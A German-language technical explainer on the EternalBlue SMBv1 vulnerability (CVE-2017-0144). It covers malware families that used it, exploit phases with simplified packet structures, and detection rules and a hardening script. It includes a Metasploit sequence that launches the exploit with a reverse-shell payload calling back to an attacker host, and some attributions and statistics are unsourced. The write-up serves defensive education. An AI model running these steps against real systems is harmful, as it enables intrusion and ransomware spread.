🌐 CVE-2017-0144 — EternalBlue: Schwachstelle zur Remotecodeausführung in Microsoft Windows SMBv1

"Ein Exploit. Dutzende Malware-Familien. Milliarden Schaden."
🔍 Zusammenfassung in einem Satz
CVE-2017-0144 ist eine kritische Schwachstelle zur Remotecodeausführung in der SMBv1-Serverimplementierung von Microsoft Windows. Der als EternalBlue bekannte Exploit nutzte diese Lücke aus und wurde bei Angriffen mit schwerwiegenden Auswirkungen (insbesondere WannaCry) eingesetzt.
🔥 Top 10 Malware, die EternalBlue nutzt (detailliert)
| # | Malware | Typ | Erstmals gesehen | Akteur | Schaden | Anmerkungen |
|---|
| 1 | WannaCry | Ransomware | May 12, 2017 | Lazarus Group (DPRK) | $4–8B | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (Als Ransomware getarnt) | Jun 27, 2017 | Sandworm (Russland) | $10B+ | Nutzt Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Ransomware | Oct 24, 2017 | Indrik Spider | Regional | Drive-by mit gefälschtem Flash-Update |
| 4 | Uiwix | Ransomware | May 2017 | Unbekannt | Niedrig | Kein Killswitch, unauffälliger als WannaCry |
| 5 | EternalRocks | Wurm | May 2017 | Unbekannt | Mittel | 7 NSA-Tools (inkl. DoublePulsar) |
| 6 | Adylkuzz | Cryptominer | May 2017 | Unbekannt | Hoch (still) | Mine Monero vor WannaCry |
| 7 | Retefe | Banking-Trojaner | 2017–2018 | Unbekannt | EU-Banken | Nutzt EternalBlue für laterale Bewegung |
| 8 | TrickBot | Modulare Malware | 2017–2021 | Wizard Spider | Global | Drop von Ryuk über EternalBlue |
| 9 | Emotet | Loader | 2017–2021 | TA542 | Global | Wird als Einstieg für Cobalt Strike genutzt |
| 10 | Clop / Dridex | Ransomware | 2019–2025 | TA505 | Gesundheitswesen, Regierung | Noch 2025 aktiv |
🧨 Entwicklung des EternalBlue-Exploits
🔍 Wie CVE-2017-0144 (EternalBlue) ausgenutzt wurde
Ein schrittweiser technischer Deep Dive in die SMBv1 RCE
"Ein fehlerhaftes Paket. Vollständiger SYSTEM-Zugriff. Keine Anmeldung. Kein Klick."
🎯 TL;DR Exploit-Ablauf
[Angreifer]
│
├──▶ Sendet manipulierten SMBv1 **Trans2**-Request
│ → Löst **Heap-Überlauf** in `srv!SrvOS2FeaListSizeToNt` aus
│
├──▶ Überschreibt Funktionszeiger → **Kernel-Shellcode**
│
└──▶ Führt **DoublePulsar**-Backdoor aus → **Ring-0-Payload**
(z.B. WannaCry `mssecsvc.exe`)
🛠️ Voraussetzungen für die Ausnutzung
🚀 Exploit-Phasen (7 Schritte)
Phase 1: SMB-Protokollverhandlung
SMB_COM_NEGOTIATE → Client sendet Dialektliste
Server antwortet: SMBv1 unterstützt → Weiter
Warum? Bestätigt, dass SMBv1 aktiv ist.
Phase 2: Tree Connect zu IPC$
\\TARGET\IPC$ → Anonymer Share für SMB-Pipes
Zweck: Stellt eine Sitzung zum Senden von Transaktionsanfragen her.
Phase 3: Trans2-Session-Setup (primär)
- Verwendet SMB_COM_TRANSACTION2 (0x32)
- Unterbefehl:
SESSION_SETUP
- Richtet FEALIST-Struktur mit fehlerhafter Größe ein
FEALIST {
SizeOfListInBytes = 0xFFFF (oder großer Wert)
...
}
Bug-Trigger: SrvOS2FeaListSizeToNt() vertraut dieser Größe ohne Grenzprüfung.
Phase 4: Sekundäre Trans2-Anfrage (Überlauf)
- Sendet mehrere sekundäre Pakete
- Jedes enthält überdimensionierte FEALIST + FEA (Datei-erweiterte Attribute)
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Pufferüberlauf
}
Heap Spray: Alloziert große Blöcke, um Speicherlayout zu kontrollieren.
Phase 5: Pufferüberlauf im Kernel
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // vom Angreifer kontrolliert
PULONG pNtFeaListSize // Ausgabezeiger
)
{
// Keine Validierung von FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Ergebnis:
- Heap-Überlauf → Überschreiben benachbarter Kernel-Objekte
- Ziel: SRVNET_BUFFER oder POOL_HEADER
- Überschreiben von Funktionszeigern (z. B.
Free-Routine)
Phase 6: Kernel-Shellcode-Ausführung
- Angreifer kontrolliert RIP/EIP über überschriebenen Funktionszeiger
- Springt zu Shellcode im Non-Paged-Pool
Shellcode tut:
- Ring-0 → Ring-3-Übergang (über
KeUserModeCallback)
- Alloziert User-Mode-Speicher
- Lädt/Staged Payload (z. B.
mssecsvc.exe)
- Installiert DoublePulsar-Backdoor
Phase 7: DoublePulsar-Backdoor-Implantat
- Injiziert Kernel-Treiber (
0x00120034 XOR-Key)
- Horcht auf magische SMB-Pakete:
Ping: 0x0002C001
Exec: 0x0002C002 + Payload
WannaCry-Beispiel:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Verschlüsselt Dateien
🧨 Exploit-Paketstruktur (vereinfacht)
SMB-Header
└── Befehl: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Daten:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray Heap
[OVERFLOW] → Überschreibe Pool
[SHELLCODE] → x64 ring0
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
🔬 Memory-Forensik-Nachweise
🛡️ Erkennungsregeln
Snort/Suricata
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
Zeek (Bro)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
🔄 Wurmverbreitung (WannaCry-Schleife)
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
Verbreitungsgeschwindigkeit: ~10.000 Infektionen/Stunde weltweit.
🛑 Warum es so gut funktionierte
🎯 Exploit-Erfolgsrate (2017–2025)
| Jahr | Erfolgsrate % (Ungepatcht) |
|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (nur Legacy) |
Funktioniert immer noch auf Windows 7/2008 R2 ohne MS17-010
📚 Referenzen
⚡ Abschließende Zusammenfassung: Wie es ausgenutzt wurde
EternalBlue = Waffengewordener Mathematikfehler
Ein vertrautes Größenfeld in SMB → Kernel-Heap-Überlauf → beliebiger Code → globale Ransomware-Pandemie
SMB-Paket → Pufferüberlauf → Kernel-Shellcode → DoublePulsar → Malware
Visualisiert, seziert und kampferprobt. Für Pentester, IR-Teams und Verteidiger.
"Ein Paket. Ein Port. Ein Imperium fällt."
🛡️ Patch- und Erkennungsmatrix
🔍 YARA-Regeln (Top 3 Malware)
1. WannaCry
rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}
2. NotPetya
rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}
3. EternalBlue-Exploit-Paket
rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
📊 Status 2025: Noch aktiv?
🛑 Kill Chain (MITRE ATT&CK)
🛠️ Vollständiges Behebungsskript (PowerShell)
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
📚 Referenzen & Quellen
⚡ Abschlusswort (2025)
CVE-2017-0144 ist nicht tot — es ist ein Legacy-Zombie.
Es gedeiht in:
- Ungepatchte Windows 7/2008
- Shadow IT
- Air-Gapped-kritische Systeme
- Falsch konfigurierte Cloud-VMs
Wenn Sie Port 445 aus dem Internet anpingen können — sind Sie als Nächstes dran.
Erstellt mit Präzision, Visualisierungen und realen Bedrohungsinformationen. Stand Nov 2025.
Für Pentest-Labore, IR-Playbooks oder CISO-Briefings.
"Patchen Sie es. Blocken Sie es. Töten Sie es mit Feuer."